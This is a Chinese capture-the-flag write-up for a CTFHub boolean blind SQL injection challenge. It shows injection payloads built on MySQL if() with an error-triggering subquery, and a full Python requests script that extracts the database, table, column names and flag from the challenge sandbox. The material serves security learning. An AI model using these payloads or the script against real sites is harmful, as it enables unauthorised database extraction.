CTFHub布尔盲注(新的payload)

CTFHub 布尔盲注

题目已经表明是布尔盲注,发现没有闭合,也木有过滤,本来也是道基础题,但是发现回显不对头:
payload:?id=1 and 's'='p'
CTFHub布尔盲注(新的payload)_第1张图片回显是query_success
这道题和普通的布尔盲注不一样,一般布尔盲注(我做的也不多)是数据库查询结果为空或者查询语句报错,回显error。这道题是数据库查询为空,返回还是success,只有当查询语句报错时才返回erroe。

可以在sql命令行界面敲一下:
在这里插入图片描述
这样,寻常and 后面布尔盲注语句就不好使,因为它们是根据查询结果为空来判断。
这时候想到用if语句

if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

那么就可以在expr1处插入判断语句,expr1处放上正确语法的sql语句,expr2处放上错误语法的sql语句
payload:

?id=if(1=1,1,union select)`
?id=if(1=2,1,union select)

然而,想法很好,现实很残酷:
在这里插入图片描述mysql在执行这条语句的时候会先对整体语句进行判断语句是否有错误,这样无论expr1处怎样,都是error。
这时候去百度一下,也没什么有用的办法。
这是想到子查询

子查询格式:select * from users where id=(select username from users);

但是这个有个要求就是子查询返回的结果必须只有一条记录,否则就报错
payload:

?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))

CTFHub布尔盲注(新的payload)_第2张图片在expr1查进行注入语句CTFHub布尔盲注(新的payload)_第3张图片CTFHub布尔盲注(新的payload)_第4张图片可以得到数据库名第一个字母为s
用Python脚本跑,半自动的,,,有点慢,总的跑下来得2min左右

import requests
import time

urlOPEN = 'http://challenge-80bbba4d1e9ce716.sandbox.ctfhub.com:10080/?id='
starOperatorTime = [] 
mark = 'query_success'
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
			# print(url+'%23')
			r = requests.get(url)
			if mark in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)
	
		
	
database_name()
 
def table_name():
    list = []
    for k in range(0,4):
        name=''
        for j in range(1,9):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
			    # print(url+'%23')
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        list.append(name)
    print('table_name:',list)

#start = time.time()
table_name()
#stop = time.time()
#starOperatorTime.append(stop-start)
#print("所用的平均时间: " + str(sum(starOperatorTime)/100))

def column_name():
    list = []
    for k in range(0,3): #判断表里最多有4个字段
        name=''
        for j in range(1,9): #判断一个 字段名最多有9个字符组成
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        list.append(name)
    print ('column_name:',list)

column_name()

def get_data():
        name=''
        for j in range(1,50): #判断一个值最多有51个字符组成
            for i in range(48,126):
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+chr(i)
                    print(name)
                    break
        print ('value:',name)
    
get_data()

CTFHub布尔盲注(新的payload)_第5张图片搞定!
这题主要还是要找那种是语法没有错误,但是不符合条件的语句,就比如union select 后面的列数必须和前面查询的列数一样,因为选择插入payload原因,选择子查询。

你可能感兴趣的:(WriteUp,mysql,信息安全)